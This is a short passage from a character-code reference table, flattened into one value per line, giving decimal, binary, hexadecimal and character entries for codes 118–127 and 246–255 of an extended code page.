76 

v 

 

246 

11110110 

F6 

÷ 

119 

01110111 

77 

w 

 

247 

11110111 

F7 

¸ 

120 

01111000 

78 

x 

 

248 

11111000 

F8 

° 

121 

01111001 

79 

y 

 

249 

11111001 

F9 

¨ 

122 

01111010 

7A 

z 

 

250 

11111010 

FA 

· 

123 

01111011 

7B 

{ 

 

251 

11111011 

FB 

¹ 

124 

01111100 

7C 

| 

 

252 

11111100 

FC 

³ 

125 

01111101 

7D 

} 

 

253 

11111101 

FD 

² 

126 

01111110 

7E 

~ 

 

254 

11111110 

FE 

 

127 

01111111 

7F 

 Delete 

 

255 

11111111 

FF